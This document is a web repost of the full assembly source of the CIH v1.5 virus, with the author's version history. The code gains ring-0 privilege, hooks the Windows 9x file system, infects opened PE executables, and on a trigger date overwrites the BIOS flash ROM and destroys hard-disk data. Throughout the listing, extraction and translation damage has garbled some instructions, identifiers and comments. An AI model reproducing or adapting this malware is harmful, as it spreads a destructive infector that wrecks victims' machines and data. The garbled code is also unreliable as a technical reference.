Cih v1.5 Source Code

xiaoxiao2021-04-03  257

*********************************************************** ***********************************

; * The Virus Program Information *

*********************************************************** ***********************************

; * *

; * Designer: CIH Source: TTIT of Tatung in Taiwan *

; * Create Date: 04/26/1998 e-mail: [email] wincih.tatung@usa.net [/ email] *

; * Mode Time: 06/01/1998 Version: 1.5 *

; * *

; * Turbo Assembler Version 5.0: Tasm / M CIH *

; * Turbo Link Version 5.01: TLINK / 3 / T CIH, CiH.exe *

; * *

; * ================================================= =========================== *

* Modification History *

; * ================================================= =========================== *

; * V1.0 1. CREATE The Virus Program. *

; * 2. The Virus Modifies IDt To Get Ring0 Privilege. *

; * 04/26/1998 3. Virus Code Doesn't reload Into system. *

; * 4. Call IFSMGR_INSTALLESYSTEMAPIHOK to hook file system. *; * 5. Modifies Entry Point of ifsmgr_installFileSystemapiHook. *

; * 6. When System Opens existing pe file, the file will be *

; * Infected, and the file doesn't be reinfected. *

; * 7. IT is also infread, even the file is read-only. *

; * 8. When a file is infected, the model *

; * Of the file also don't be change. *

; * 9. When My Virus Uses ifsmgr_ring0_fileio, IT WILL NOT CALL *

; * Previous FileSystemapihook, It Will Call The Function *

; * That The IFS Manager Would Normal Call To IMPLEMENT *

; * This particular I / O Request. *

; * 10. The Virus Size Is Only 656 bytes. *

; * ================================================= =========================== *

; * V1.1 1. especially, the file what be infreaded will not increable *

; * It's size ... ^ __ ^ *

; * 05/15/1998 2. Hook and modify structured exception handing. *

; * When Exception Error Occurs, OS System Should Be in *

; * Windows Nt. So my cute virus will not contact to run, *

; * It will jmup to originel application to run. *

; * 3. Use better algorithm, reduuce virus code size. *

; * 4. The Virus "Basic" size is online 796 bytes. *; * =========================================================================================================================================================================================== ===================================================================== *

; * V1.2 1. Kill All HardDisk, And Bios ... super ... killer ... *

; * 2. Modify the bug of v1.1 *

; * 05/21/1998 3. The Virus "Basic" size is 1003 bytes. *

; * ================================================= =========================== *

; * V1.3 1. Modify the bug what winzip self-extractor occurs error. *

; * So when open winzip self-extractor ==> DON '中文' *

; * 05/24/1998 2. The Virus "Basic" size is 1010 bytes. *

; * ================================================= =========================== *

; * V1.4 1. Full Modify the bug: Winzip self-extractor ocurs error. *; * 2. Change the date of killing computers. *

; * 05/31/1998 3. Modify Virus Version CopyRight. *

; * 4. The Virus "Basic" size is 1019 bytes. *

*********************************************************** ***********************************

; * V1.5 1. Full Modify the bug: Change HardDisk Killing Port *

; * 2. Modify Virus Version Copyright. *

; * 06/01/1998 3. Clear Garbage in Source Code. *

; * 4. The Virus "small" size in 10xx bytes. *

*********************************************************** ***********************************

.56

*********************************************************** ***********************************

; * Original Pe EXECUTABLE File (Don't modify this section) *

*********************************************************** ***********************************

OriginalAppexe Segment

FileHeader:

DB 04DH, 05AH, 090H, 000H, 003H, 000H, 000H, 000H

DB 004H, 000H, 000H, 000H, 0FFH, 0FFH, 000H, 000H

DB 0B8H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 040H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 080H, 000H, 000H, 000H

DB 00, 01FH, 0BAH, 00EH, 000H, 0B4H, 009H, 0CDH

DB 021H, 0B8H, 001H, 04CH, 0CDH, 021H, 054H, 068H

DB 069H, 073H, 020H, 070H, 072H, 06FH, 067H, 072H

DB 061H, 06DH, 020H, 063H, 061H, 06EH, 06EH, 06FH

DB 074H, 020H, 062H, 065H, 020H, 072H, 075H, 06EH

DB 020H, 069H, 06EH, 020H, 044H, 04FH, 053H, 020H

DB 06DH, 06FH, 064H, 065H, 02EH, 00DH, 00DH, 00AHDB 024H, 000H, 000H, 000H, 000H, 000H, 000H

DB 050H, 045H, 000H, 000H, 04CH, 001H, 001H, 000H

DB 0F1H, 068H, 020H, 035H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 0E0H, 000H, 00FH, 001H

DB 00BH, 001H, 005H, 000H, 000H, 010H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 010H, 010H, 000H, 000H, 000H, 010H, 000H, 000H

DB 000H, 020H, 000H, 000H, 000H, 000H, 040H, 000H

DB 000H, 010H, 000H, 000H, 000H, 002H, 000H, 000H

DB 004H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 004H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 020H, 000H, 000H, 000H, 002H, 000H, 000H

DB 000H, 000H, 000H, 000H, 002H, 000H, 000H, 000H

DB 000H, 000H, 010H, 000H, 000H, 010H, 000H, 000H

DB 000H, 000H, 010H, 000H, 000H, 010H, 000H, 000H

DB 000H, 000H, 000H, 000H, 010H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 02EH, 074H, 065H, 078H, 074H, 000H, 000H, 000HDB 000H, 010H, 000H, 000H, 010H, 000H, 000H

DB 000H, 010H, 000H, 000H, 000H, 002H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 020H, 000H, 000H, 060H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DB 0C3H, 000H, 000H, 000H, 000H, 000H, 000H, 000H

DD 00000000h, Virussize

OriginalAppexe Ends

*********************************************************** ***********************************

; * My Virus Game *

*********************************************************** ***********************************

*********************************************************** *********

; * Constant define *

*********************************************************** *********

True = 1

False = 0

Debug = TRUE

IF Debug

FirstkillharDiskNumber = 82H

HOOKEXCEPTIONNUMBER = 06h

Else

FirstkillhardiSknumber = 81H

HOOKEXCEPTIONNUMBER = 04H

ENDIF

FILENAMEBUFFERSIZE = 7FH

*********************************************************** *********

*********************************************************** ******** Virusgame Segment

Assume CS: Virusgame, DS: Virusgame, SS: Virusgame

Assume ES: Virusgame, FS: Virusgame, GS: Virusgame

*********************************************************** *********

; * Ring3 Virus Game Initial Program *

*********************************************************** *********

MyvirusStart:

Push EBP

**********************************************

; * Let's modify structured exception *

; * Handing, prevent exception error *

; * Occurrence, especially in nt. *

**********************************************

Lea Eax, [ESP-04H * 2]

XOR EBX, EBX

XCHG Eax, FS: [EBX]

Call @ 0

@ 0:

POP EBX

Lea Ecx, StoptorUnviruscode- @ 0 [EBX]

Push ECX

Push EAX

**********************************************

; * Let's modify *

; * IDT (Interrupt Descriptor Table) *

; * TO GET RING0 PRIVILEGE ... *

**********************************************

Push Eax;

SIDT [ESP-02H]; Get Idt Base Address

POP EBX;

Add EBX, HOOKEXCEPTIONNUMBER * 08H 04H; ZF = 0

CLI

MOV EBP, [EBX]; Get Exception Base

MOV BP, [EBX-04H]; Entry Point

Lea ESI, MyExceptionHook- @ 1 [ECX]

PUSH ESI

MOV [EBX-04H], Si;

SHR ESI, 16; Modify Exception

MOV [EBX 02H], Si; Entry Point Address

POP ESI

**********************************************

* Generate Exception to get ring0 *

**********************************************

Int hookexceptionNumber; generateException

ReturnadDressofendexception = $

**********************************************

; * Merge All Virus Code Section *

**********************************************

PUSH ESI

Mov ESI, EsloopofmergeAllViruscodeSection:

MOV ECX, [EAX-04H]

REP MOVSB

Sub Eax, 08h

MOV ESI, [EAX]

OR ESI, ESI

JZ Quitloopofmerge; zf = 1

JMP loopofmergeAllViruscodeesection

QuitLoopofmergelectronViruscodeSection:

POP ESI

**********************************************

* Generate Exception Again *

**********************************************

Int hookexceptionNumber; generateexception again

**********************************************

* Let's restore *

; * Structured Exception Handing *

**********************************************

ReadyRESTORESE:

STI

XOR EBX, EBX

JMP Restorese

**********************************************

; * When exception error ocurs, *

; * OOS System Should Be in nt. *

; * SO My Cute Virus Will NOT *

; * Continue To Run, IT JMups to *

; * Original Application To Run. *

**********************************************

StoptorUnviruscode:

@ 1 = stoptorunviruscode

XOR EBX, EBX

Mov Eax, FS: [EBX]

MOV ESP, [EAX]

RESTORESE:

POP DWORD PTR FS: [EBX]

POP EAX

**********************************************

; * Return Original App To Execute *

**********************************************

POP EBP

Push 00401000H; Push Original

OriginalAddressofentryPoint = $ -4; App Entry Point To Stack

Ret; Return to Original App Entry Point

*********************************************************** *********

; * Ring0 Virus Game Initial Program *

*********************************************************** *********

MyExceptionHook:

@ 2 = MyExceptionHook

JZ InstallmyFileSystemapihook

**********************************************

; * Do my virus exist in system!? *; *******************************************

MOV ECX, DR0

Jecxz AllocateSystemMemoryPage

Add DWORD PTR [ESP], ReadyRestorese-returnaddressofendexception

**********************************************

; * Return to Ring3 Initial Program *

**********************************************

Exitring0init:

MOV [EBX-04H], BP;

SHR EBP, 16; Restore Exception

MOV [EBX 02H], BP;

IRETD

**********************************************

; * Allocate SystemMemory Page To Use *

**********************************************

AllocateSystemMemoryPage:

MOV DR0, EBX; Set The Mark of My Virus EXIST ITEM

PUSH 00000000FH;

PUSH ECX;

Push 0FFFFFFFFH;

PUSH ECX;

PUSH ECX;

PUSH ECX;

Push 000000001H;

Push 000,000002h;

INT 20H; vmmcall _PageAllocate

_PageAllocate = $;

DD 00010053H; Use Eax, ECX, EDX, AND FLAGS

Add ESP, 08H * 04H

XCHG EDI, ED; EDI = SystemMemory Start Address

Lea Eax, MyvirusStart- @ 2 [ESI]

IRETD; RETURN TO RING3 INITIAL Program

**********************************************

; * Install My File System API Hook *

**********************************************

InstallmyFileSystemapiHook:

Lea Eax, FileSystemapiHook- @ 6 [EDI]

Push Eax;

INT 20H; vxdcall ifsmgr_installfilesystemapihook

IFSMGR_INSTALLSYSTEMAPIHOK = $

DD 00400067H; USE Eax, ECX, EDX, AND FLAGS

Mov DR0, Eax; Save OldfilesystemapiHook Address

POP Eax; Eax = FileSystemapiHook Address

; Save Old IFSMGR_INSTALLFILESTEMAPIHOOK Entry Point

MOV ECX, IFSMGR_INSTALLSYSTEMAPIHOK- @ 2 [ESI] MOV EDX, [ECX]

Mov OldInstallFileSystemapiHook- @ 3 [EAX], EDX

Modify IFSMGR_INSTALLFILESYSTEMAPIHOK ENTRY POINT

Lea eax, installfilesystemapihook- @ 3 [eax]

MOV [ECX], EAX

CLI

JMP EXITRING0Init

*********************************************************** *********

; * Code size of merge virus code section *

*********************************************************** *********

CODESIZEOFMERGEVIRUSCODESECTION = Offset $

*********************************************************** *********

; * Ifsmgr_installfilesystemapihook *

*********************************************************** *********

InstallFileSystemapihook:

Push EBX

Call @ 4;

@ 4:;

POP EBX; MOV EBX, Offset FileSystemapiHook

Add Ebx, FileSystemapiHook- @ 4;

Push EBX

INT 20H; vxdcall IFSMGR_RemoveFileSystemapiHook

IFSMGR_RemoveFileSystemapiHook = $

DD 00400068H; USE EAX, ECX, EDX, AND FLAGS

POP EAX

Call Original IFSMGR_INSTALLFILESYSTEMAPIHOK

; To Link Client FileSystemapiHook

Push DWORD PTR [ESP 8]

Call OldInstallFilesystemapiHook- @ 3 [EBX]

POP ECX

Push EAX

Call Original IFSMGR_INSTALLFILESYSTEMAPIHOK

; To Link My FileSystemapiHook

Push EBX

Call OldInstallFilesystemapiHook- @ 3 [EBX]

POP ECX

Mov DR0, Eax; Adjust OldfilesystemapiHook Address

POP EAX

POP EBX

RET

*********************************************************** *********

; * Static Data *

*********************************************************** *********

OldInstallFileSystemapiHook DD?

*********************************************************** ********; * IFSMGR_FileSystemHOK *

*********************************************************** *********

**********************************************

; * Ifsmgr_filesystemhook entry point *

**********************************************

FileSystemapiHook:

@ 3 = FileSystemapiHook

Pushhad

Call @ 5;

@ 5:;

POP ESI; MOV ESI, Offset VirusgameDataStartaddress

Add ESI, VirusgameDataStartaddress- @ 5

**********************************************

; * Is Onbusy!? *

**********************************************

TEST BYTE PTR (Onbusy- @ 6) [ESI], 01H; if (Onbusy)

JNZ Pifsfunc; goto pifsfunc

**********************************************

; * Is OpenFile !? *

**********************************************

; if (notopenfile)

Goto Prevhook

Lea EBX, [ESP 20H 04H 04H]

CMP DWORD PTR [EBX], 00000024H

JNE Prevhook

**********************************************

; * Enable Onbusy *

**********************************************

Inc Byte PTR (Onbusy- @ 6) [ESI]; Enable Onbusy

**********************************************

* Get FilePath's Drivenumber, *

; * Ten set the drivename to *

* Filenamebuffer. *

**********************************************

; * EX. If Drivenumber IS 03H, *

* DRIVENAME IS 'C:'. *

**********************************************

Add ESI, FileNameBuffer- @ 6

PUSH ESI

MOV Al, [EBX 04H]

CMP AL, 0FFH

JE Callunitobcspath

Add Al, 40h

MOV AH, ':'

MOV [ESI], EAX

Inc ESI

Inc ESI

**********************************************

; * Unitobcspath *; ********************************************************

; * This service convers *

; * a canonicalized unicode Pathname *

; * to a Normal Pathname in the *

* Specified BCS Character Set. *

**********************************************

CallUnitobcspath:

Push 00000000H

Push filenamebuffersize

MOV EBX, [EBX 10h]

MOV EAX, [EBX 0CH]

Add Eax, 04H

Push EAX

PUSH ESI

INT 20H; vxdcall unitobcspath

Unitobcspath = $

DD 00400041H

Add ESP, 04H * 04H

**********************************************

; * Is filename '.exe'!? *

**********************************************

CMP [ESI EAX-04H], 'EXE.'

POP ESI

JNE Disableonbusy

IF Debug

**********************************************

; * ONLY for debug *

**********************************************

CMP [ESI EAX-06H], 'KCUF'

JNE Disableonbusy

ENDIF

**********************************************

; * Is open existing file!? *

**********************************************

IF (notopenexistingfile)

Goto Disableonbusy

CMP Word PTR [EBX 18H], 01H

JNE Disableonbusy

**********************************************

; * Get Attributes of the file *

**********************************************

MOV AX, 4300H

INT 20H; vxdcall ifsmgr_ring0_fileio

IFSMGR_RING0_FILEIO = $

DD 00400032H

JC Disableonbusy

Push ECX

**********************************************

; * GET IFSMGR_RING0_FILEIO Address *

**********************************************

MOV EDI, DWORD PTR (ifsmgr_ring0_fileio- @ 7) [ESI]

Mov Edi, [EDI]

**********************************************

; * Is Read-Only File !? *

************************************ TEST CL, 01H

JZ OpenFile

**********************************************

; * Modify read-only file to write *

**********************************************

MOV AX, 4301H

XOR ECX, ECX

Call edi; vxdcall ifsmgr_ring0_fileio

**********************************************

; * Open file *

**********************************************

OpenFile:

XOR EAX, EAX

MOV AH, 0D5H

XOR ECX, ECX

XOR EDX, EDX

Inc EDX

MOV EBX, EDX

Inc EBX

Call edi; vxdcall ifsmgr_ring0_fileio

XCHG EBX, EAX; MOV EBX, FileHandle

**********************************************

; * Need to restore *

; * Attributes of the file!? *

**********************************************

POP ECX

Pushf

TEST CL, 01H

JZ Isopenfileok

**********************************************

; * Restore attributes of the file *

**********************************************

MOV AX, 4301H

Call edi; vxdcall ifsmgr_ring0_fileio

**********************************************

; * Is Open file ok!? *

**********************************************

Isopenfileok:

POPF

JC Disableonbusy

**********************************************

* Open file already succeed. ^ __ ^ *

**********************************************

Push ESI; Push FilenaMebuffer Address to Stack

Pushf; Now cf = 0, Push Flag to Stack

Add ESI, DataBuffer- @ 7; MOV ESI, Offset DataBuffer

****************************

; * Get OffsettonewHeader *

****************************

XOR EAX, EAX

MOV AH, 0D6H

For doing minimal viruscode's length,

I Save EAX TO EBP.

MOV EBP, EBP

Push 00000004H

POP ECX

Push 0000003CH

POP EDX

Call edi; vxdcall ifsmgr_ring0_fileiomov Edx, [ESI]

****************************

; * GET 'PE / 0' SIGNATURE *

; * of imagefileHeader, and *

; * Infected mark. *

****************************

Dec edx

MOV EAX, EBP

Call edi; vxdcall ifsmgr_ring0_fileio

****************************

; * Is PE!? *

****************************

; * Is the file *

; * Already infected!? *

****************************

; * Winzip self-extractor *

* Doesn't Have Infected *

* Mark Because My Virus *

; * doesn't infect it. *

****************************

CMP DWORD PTR [ESI], 00455000H

JNE Closefile

**********************************************

; * The file is ^ o ^ *

; * PE (portable executable "indeed. *

**********************************************

; * The file isn't also infected. *

**********************************************

**********************************************

; * Start to infect the file *

**********************************************

; * Registers use status now: *

; * *

; * EAX = 04h *

; * Ebx = file handle *

* ECX = 04h *

; * Edx = 'pe / 0/0' Signature of *

; * ImageFileHeader Pointer's *

* Former byte. *

; * ESI = DataBuffer Address ==> @ 8 *

; * EDI = IFSMGR_RING0_FILEIO Address *

; * EBP = D600H ==> Read data in file *

**********************************************

; * Stack dump: *

; * *

; * ESP => ------------------------- *

; * │ EFLAG (CF = 0) │ *

; * ------------------------- *

; * │ FileNameBufferPointer │ *

; * ------------------------- *; * │ EDI │ *

; * ------------------------- *

; * │ ESI │ *

; * ------------------------- *

; * │ EBP │ *

; * ------------------------- *

; * │ ESP │ *

; * ------------------------- *

; * │ EBX │ *

; * ------------------------- *

; * │ EDX │ *

; * ------------------------- *

; * │ ECX │ *

; * ------------------------- *

; * │ EAX │ *

; * ------------------------- *

; * │ Return Address │ *

; * ------------------------- *

**********************************************

Push Ebx; Save File Handle

Push 00h; set viruscodesectionTablendmark

****************************

; * Let's set the *

; * Virus' Infected Mark *

****************************

Push 01h; size

Push Edx; Pointer Of File

Push Edi; Address of buffer

****************************

; * Save esp register *

****************************

MOV DR1, ESP

****************************

; * Let's set the *

; * NewadDressofentryPoint *

; * (ONLY first set size) *

****************************

Push Eax; Size

****************************

; * Let's read *

; * Image header in file *

****************************

MOV EAX, EBP

Mov Cl, SizeofimageHeadertoread

Add Edx, 07h; Move Edx to Numberofsections

Call edi; vxdcall ifsmgr_ring0_fileio

****************************

; * Let's set the *

; * NewadDressofentryPoint *

; * (Set Pointer of File, *

* Address of buffer * *

****************************

Lea Eax, (AddressofentryPoint- @ 8) [EDX]

Push Eax; Pointer of Filelea Eax, (NewaddressofentryPoint- @ 8) [ESI]

Push Eax; Address Of Buffer

****************************

* Move Edx to the start *

* of sectionTable in file *

****************************

Movzx Eax, Word Ptr (SizeOfoptionalHeader- @ 8) [ESI]

Lea EDX, [EAX EDX 12H]

****************************

* Let's get *

; * Total Size of Sections *

****************************

MOV Al, SizeOfscetAble

I Assume Numberofsections <= 0ffh

MOV CL, (Numberofsections- @ 8) [ESI]

Mul CL

****************************

; * Let's set section table *

****************************

; Move ESI to the Start of SectionTable

Lea ESI, (StartofsectionTable- @ 8) [ESI]

Push Eax; Size

Push Edx; Pointer Of File

Push ESI; Address Of Buffer

****************************

; * The code size of merge *

; * Virus code section and *

; * Total size of virus *

; * Code section Table Must *

; * beall or equal the *

; * Unused Size of *

; * FOLLOWING Section Table *

****************************

Inc ECX

Push Ecx; Save Numberofsections 1

SHL ECX, 03H

Push Ecx; Save TotalsizeofviruscodeSECTIONTABLE

Add ECX, EAX

Add ECX, EDX

Sub ECX, (SizeOfheaders- @ 9) [ESI]

NOT ECX

Inc ECX

; Save My Virus First Section Code

SIZE OF FOLLOWING Section Table ...

NOT INCLUDE TABE OF Virus Code Section Table

Push ECX

XCHG ECX, EAX; ECX = SIZE OF Section Table

; Save Original Address of Entry Point

MOV Eax, (AddressofentryPoint- @ 9) [ESI]

Add Eax, (ImageBase- @ 9) [ESI]

MOV (OriginalAddressofentryPoint- @ 9) [ESI], Eaxcmp Word Ptr [ESP], Small CodesizeOfmergeViruscodeSecion

Jl OnlysetInfectedmark

****************************

; * Read all section Tables *

****************************

MOV EAX, EBP

Call edi; vxdcall ifsmgr_ring0_fileio

****************************

; * Full modify the bug: *

; * Winzip self-extractor *

; * Occurs Error ... *

****************************

; * So when opens *

; * Winzip self-extractor, *

; * Virus doesn't infect it. *

****************************

; * First, virus gets the *

* PointertorawData in the *

; * Second Section Table, *

; * Reads the section Data, *

; * and tests the string of *

; * 'Winzip (r)' ... *

****************************

XCHG EAX, EBP

Push 00000004H

POP ECX

Push Edx

Mov Edx, (SizeOfscectionTable PointertorawData- @ 9) [ESI]

Add Edx, 12h

Call edi; vxdcall ifsmgr_ring0_fileio

CMP DWORD PTR [ESI], 'PIZNIW'

JE NotsetInfectedmark

POP EDX

****************************

; * Let's set total virus *

* Code section table *

****************************

EBX = My Virus First Section Code

SIZE OF FOLLOWING Section Table

POP EBX

POP EDI; EDI = TotalsizeOfviruscodeSECTIONTABLETABLETABLE

POP ECX; ECX = NumberOfsections 1

Push EDI; SIZE

Add Edx, EBP

Push Edx; Pointer Of File

Add EBP, ESI

Push EBP; Address of buffer

****************************

; * Set the first virus *

; * Code section size in *

; * Viruscodeesetable *

****************************

Lea EAX, [EBP EDI-04H]

MOV [EAX], EBX; **********************************

; * Let's set my virus *

; * First section code *

****************************

Push Ebx; SIZE

Add Edx, EDI

Push Edx; Pointer Of File

Lea Edi, (MyvirusStart- @ 9) [ESI]

Push Edi; Address of buffer

****************************

; * Let's modify the *

; * Addressofentrypoint to *

; * My Virus Entry Point *

****************************

MOV (NewaddressofentryPoint- @ 9) [ESI], EDX

****************************

; * Setup initial data *

****************************

Lea Edx, [ESI-SIZEOFSCETONTABLE]

Mov EBP, Offset Virussize

JMP StartTowritecodetosections

****************************

; * WRITE CODE TO Sections *

****************************

Loopofwritecodetosections:

Add Edx, SizeOfScetionTable

MOV EBX, (SizeOfrawData- @ 9) [EDX]

Sub EBX, (Virtualsize- @ 9) [EDX]

Jbe Endofwritecodetosections

Push Ebx; SIZE

Sub Eax, 08h

MOV [EAX], EBX

MOV EBX, (PointertorawData- @ 9) [EDX]

Add ebx, (Virtualsize- @ 9) [EDX]

Push Ebx; Pointer Of File

Push Edi; Address of buffer

Mov EBX, (virtualsize- @ 9) [EDX]

Add ebx, (VirtualAddress- @ 9) [edx]

Add ebx, (ImageBase- @ 9) [ESI]

MOV [EAX 4], EBX

Mov EBX, [EAX]

Add (Virtualsize- @ 9) [EDX], EBX

; Section Contains Initialized Data ==> 00000040H

; Section can be read. ==> 40000000H

OR (Characteristics - @ 9) [EDX], 40000040H

StartToWritecodetosections:

SUB EBP, EBX

Jbe setviruscodeeseTablendmark

Add Edi, EBX; Move Address of buffer

Endofwritecodetosections:

LOOP loopofwritecodetosections; **********************************

; * ONLY SET INFECTED MARK *

****************************

OnlysetInfectedmark:

MOV ESP, DR1

JMP WriteviruscoDetOfile

****************************

; * Not set infread mark *

****************************

NotsetInfectedmark:

Add ESP, 3ch

JMP Closefile

****************************

; * SET VIRUS CODE *

; * Section Table End Mark *

****************************

SetviruscodeeendMark:

Adjust Size of Virus Section Code to Correct Value

Add [EAX], EBP

Add [ESP 08H], EBP

Set end mark

XOR EBX, EBX

MOV [EAX-04H], EBX

****************************

; * When virusgame calls *

; * Vxdcall, vmm modifies *

; * the 'INT 20H' and the *

; * 'Service Identifier' *

* To 'call [xxxxxxxxx]'. *

****************************

; * Before Writing My Virus *

; * To file, i must restore *

; * Them first. ^ __ ^ *

****************************

Lea Eax, (Lastvxdcalladdress-2- @ 9) [ESI]

MOV CL, VXDCALLTABLESIZE

LoopofrestorevxdCallid:

Mov Word Ptr [EAX], 20CDH

MOV EDX, (vxdcallidtable (ECX-1) * 04H- @ 9) [ESI]

MOV [EAX 2], EDX

Movzx EDX, Byte Ptr (VxdcalladdresStable ECX-1- @ 9) [ESI]

Sub Eax, EDX

Loop loopofrestorevxdcallid

****************************

* Let's write *

; * Virus code to the file *

****************************

WritevirusCodetofile:

MOV Eax, DR1

MOV EBX, [EAX 10h]

Mov Edi, [EAX]

LoopofwriteviruscodetOfile:

POP ECX

Jecxz setFileModificationMark

Mov ESI, ECX

MOV EAX, 0D601H

POP EDX

POP ECX

Call edi; vxdcall ifsmgr_ring0_fileiojmp loopofwriteviruscodetofile

****************************

; * Let's set cf = 1 ==> *

* NEED TO RESTORE FILE *

* Modification Time *

****************************

SetFileModificationMark:

POP EBX

POP EAX

STC; ENABLE CF (Carry Flag)

Pushf

**********************************************

* Close file *

**********************************************

Closefile:

XOR EAX, EAX

MOV AH, 0D7H

Call edi; vxdcall ifsmgr_ring0_fileio

**********************************************

; * Need to restore file model *

* Time!? *

**********************************************

POPF

POP ESI

JNC iskillComputer

**********************************************

; * Restore File Modification Time *

**********************************************

MOV EBX, EDI

MOV AX, 4303H

MOV ECX, (filemodificationTime- @ 7) [ESI]

Mov Edi, (FileModificationTime 2- @ 7) [ESI]

Call ebx; vxdcall ifsmgr_ring0_fileio

**********************************************

* Disable onbusy *

**********************************************

Disableonbusy:

Dec Byte Ptr (Onbusy- @ 7) [ESI]; Disable Onbusy

**********************************************

; * Call Previous FileSystemapiHook *

**********************************************

Prevhook:

Popad

MOV EAX, DR0;

JMP [EAX]; Jump to Prevhook

**********************************************

; * Call the function That the IFS *

; * Manager Would Normal Call to *

; * Implement this particular I / o *

* Request. *

**********************************************

PIFSFUNC:

MOV EBX, ESP

PUSH DWORD PTR [EBX 20H 04H 14H]; Push PioreqCall [EBX 20H 04H]; Call Pifunc

POP ECX;

MOV [EBX 1CH], EAX; Modify Eax Value in Stack

****************************

; * After Calling Pifsfunc, *

* Get Some Data from the *

; * Returned pioreq. *

****************************

CMP DWORD PTR [EBX 20H 04H 04H], 00000024H

JNE QuitmyvirusFilesystemhook

*****************

* Get the file *

* Modification *

* Date and Time *

; * in dos format. *

*****************

Mov Eax, [ECX 28h]

MOV (FileModificationTime- @ 6) [ESI], EAX

****************************

* Quit my virus' *

; * Ifsmgr_filesystemhook *

****************************

QuitMyvirusFilesystemHook:

Popad

RET

**********************************************

* Kill Computer !? ... * ^ _ ^ * *

**********************************************

IskillComputer:

Get Now Day from Bios CMOS

MOV Al, 07h

OUT 70H, Al

IN Al, 71H

XOR Al, 01H; ?? / 26 / ????

IF Debug

JMP Disableonbusy

Else

JNZ Disableonbusy

ENDIF

***********************************************

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

* Kill Kill Kill Kill Kill Kill Kill *; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

; * Kill Kill Kill Kill Kill Kill Kill *

***********************************************

****************************

; * Kill Bios EEPROM *

****************************

MOV BP, 0CF8H

Lea ESI, IOFOREEPROM- @ 7 [ESI]

******************************

; * Show bios Page in *

; * 000E0000 - 000EffFF *

; * (64 kB) *

******************************

MOV EDI, 8000384CH

MOV DX, 0CFEH

CLI

Call ESI

******************************

; * Show bios Page in *

; * 000f0000 - 000ffff *

; * (64 kB) *

******************************

MOV Di, 0058H

Dec Edx; And Al, 0FH

MOV Word Ptr (Booleancalculatecode- @ 10) [ESI], 0F24H

Call ESI

******************************

; * Show the bios extra *

* ROM DATA IN MEMORY *

; * 000E0000 - 000E01FF *

; * (512 BYTES) *

; *, and the section *

; * of extra bios can *

; * be writted ... *

******************************

Lea EBX, EnableeePromTowrite- @ 10 [ESI]

MOV Eax, 0e5555h

Mov ECX, 0E2AAAH

Call EBX

MOV BYTE PTR [EAX], 60H

Push ECX

Loop $

******************************

; * Kill the bios extra *

* ROM DATA IN MEMORY *

; * 000E0000 - 000E007F *

; * (80h Bytes) *

******************************

XOR AH, AH

MOV [EAX], Al

XCHG ECX, EAX

Loop $

******************************

; * Show and enable the *

* BIOS main ROM DATA *

; * 000E0000 - 000ffff *

; * (128 kB) *

; * can be writted ... *

******************************

Mov Eax, 0F5555H

POP ECX

MOV CH, 0AAH

Call EBX

MOV BYTE PTR [EAX], 20HLOOP $

******************************

; * Kill The Bios Main *

* ROM DATA IN MEMORY *

; * 000FE000 - 000FE07F *

; * (80h Bytes) *

******************************

Mov Ah, 0E0H

MOV [EAX], Al

******************************

* Hide Bios Page In *

; * 000f0000 - 000ffff *

; * (64 kB) *

******************************

OR Al, 10h

Mov Word Ptr (Booleancalculatecode- @ 10) [ESI], 100CH

Call ESI
